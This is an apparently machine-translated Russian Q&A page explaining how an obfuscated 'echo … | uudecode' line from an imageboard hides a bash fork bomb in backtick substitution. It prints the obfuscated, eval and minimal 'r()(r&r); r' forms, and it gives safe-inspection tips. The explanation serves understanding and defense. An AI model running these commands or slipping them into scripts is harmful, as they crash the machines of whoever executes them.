Как и почему эта строка текста является бомбой?


132

Найдено на случайной доске чан:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Каким-то образом выполнение этого приводит к бесконечно нерестящемуся процессу, который разгорается и останавливает машину. Я вижу кое-что о том, как "Су" пытались казнить много раз.

... что странно, потому что я просто ожидал, что будет выводиться текст, а не выполнение чего-либо.

Запуск этого текста через онлайн-декодер просто дает мне партию двоичного выброса:

результат uudecode

Что на самом деле делает этот беспорядок текста, и есть ли способ «безопасно» его просмотреть?


Почему "Су" выполняется много раз?
Брент Уошборн

34
Совет: не запускайте код со случайных плат Чан и будьте благодарны, что это была просто бомба.
8-15

21
Хех. К счастью, я был на снимке виртуальной машины, созданной специально для того, чтобы поиграть с таким враждебным мусором, как этот.
Майки TK


1
Видар Холен, автор shellcheck.net написал в блоге об этом, в котором он утверждает, что является автором этой вилки бомбы и дает некоторую справочную информацию.
Socowi

Ответы:


194

Сначала давайте посмотрим на всю команду:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Он содержит строку в двойных кавычках, которая отображается в uudecode. Но обратите внимание, что внутри строки в двойных кавычках есть строка в обратных кавычках . Эта строка исполняется . Строка:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Если мы посмотрим на то, что в нем, мы увидим три команды:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Выполняя раскладку по средней команде, мы имеем:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

Первая строка пытается выполнить бессмысленную команду в фоновом режиме. Это неважно.

Важна вторая строка: она определяет функцию, rкоторая при запуске запускает две свои копии. Каждая из этих копий, конечно, запустит еще две копии. И так далее.

Третья линия бежит r, начиная бомбу вилки.

Остальная часть кода, за пределами строки в кавычках, просто бессмысленна для запутывания.

Как выполнить команду безопасно

Этот код можно безопасно выполнить, если мы установим ограничение на уровень вложенности функций. Это можно сделать с помощью FUNCNESTпеременной bash . Здесь мы устанавливаем его, 2и это останавливает рекурсию:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Сообщения об ошибках выше , показывает , что (а) команду нонсенса rYWdlи Y29jне будет найдено, (б) вилка бомба получает многократно остановленные FUNCNEST, и (с) на выходе echoне начинается с , beginи, следовательно, не является действительным входом для uudecode.

Вилочная бомба в простейшем виде

Как бы выглядела вилочная бомба, если бы мы убрали затемнение? Как показывают njzk2 и gerrit, это будет выглядеть так:

echo "`r()(r&r);r`"

Мы можем упростить это еще дальше:

r()(r&r); r

Это состоит из двух утверждений: одно определяет функцию fork-bomb rи второе работает r.

Весь другой код, в том числе и канал uudecode, был там только для маскировки и неверного направления.

Оригинальная форма имела еще один слой неверного направления

ОП предоставил ссылку на обсуждение на форуме, на котором появился этот код. Как представлено там, код выглядел следующим образом:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Обратите внимание на один из первых комментариев об этом коде:

Я влюбился в это. Скопировал только ту часть, которая перекликается и перекодирует, но все же получил бомбу

В форме на доске объявлений можно наивно полагать, что проблемой будет evalутверждение, работающее на выходе uudecode. Это может привести к мысли, что удаление evalрешит проблему. Как мы видели выше, это ложно и опасно.


6
Коварный! Я никогда не думал о том, чтобы рассмотреть сглаживание / расширение оболочки в середине отображаемой строки.
Майки TK

31
Я думаю, что было бы хорошо отметить, что uudecodeэто совершенно не имеет значения здесь. Какое-то время я думал, что uudecodeвыполняю интерполяцию строк с обратными кавычками, что делает его принципиально небезопасным, но разветвленная бомба происходит до того, как uudecode запускается вообще.
Gerrit

28
... и это , дамы и господа, вот почему безопасность в сценариях оболочки так чертовски сложна. Даже совершенно безобидные вещи могут убить тебя. (Представьте себе , если это пользовательский ввод откуда - то ...)
MathematicalOrchid

22
@MateticOrchid На самом деле требуется нетривиальное усилие, чтобы заставить исполниться кавычки при вводе пользователя в сценарий оболочки. И если вы построение сценария оболочки из пользовательского ввода вы должны знать лучше , чем поставить его в двойных кавычках.
Random832

5
@ njzk2 Вы все еще нужен &там: echo "`r()(r&r);r`".
геррит

10

Чтобы ответить на вторую часть вашего вопроса:

... есть ли способ "безопасно" просмотреть его?

Чтобы разрядить эту строку, замените внешние двойные кавычки одинарными кавычками и избегайте одинарных кавычек, встречающихся внутри строки. Таким образом, оболочка не будет выполнять какой-либо код, и вы фактически передаете все прямо uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Другие альтернативы отмечены в комментариях:

касперд предложил :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Джейкоб Кралл предложил использовать текстовый редактор, вставить содержимое, а затем передать этот файл в uudecode.


5
В качестве альтернативы: введите uudecodeв командной строке. Нажмите Ввод. Скопируйте и вставьте строку для декодирования.
Касперд

3
Другой вариант: используйте текстовый редактор, чтобы сохранить содержимое в файл. Откройте этот файл с помощью uudecode.
Джейкоб Кралл

Благодаря обоим, я отметил эти альтернативы в ответе.
геррит

1
Убедитесь, что вы проверяете, что строка не похожа на echo "foo`die`bar'`die`'baz"первую! То есть, если в нем есть 's, то замена кавычек одинарными будет недостаточной.
wchargin

5

На первый взгляд вы можете подумать, что вывод в оболочку никогда не будет выполнен . Это все еще правда . Проблема уже во входе . Основным трюком здесь является то, что программисты называют приоритетом операторов . Это порядок, в котором оболочка пытается обработать ваш ввод:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Составьте строку, выполнив все команды backticks внутри нее.
  2. Обычно это неизвестная команда, которая может привести к некоторому выводу, например, если 'rYWdl' не является опечаткой, вы можете использовать команду not-found для поиска пакета, в котором она содержится… (зависит от системы)
  3. Выполняет 2. в фоновом режиме. Вы никогда не увидите выход.
  4. Определите функцию вилочной бомбы.
  5. Разделитель команд.
  6. Запустите вилочную бомбу.
  7. Вставьте результат 6. в строку. (Мы никогда не приходим сюда.)

Ошибка в том, чтобы думать, что echoэто будет первая команда, которая будет выполнена, uudecodeвторая. Оба из них никогда не будут достигнуты.

Вывод: двойные кавычки всегда опасны на оболочке.

Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.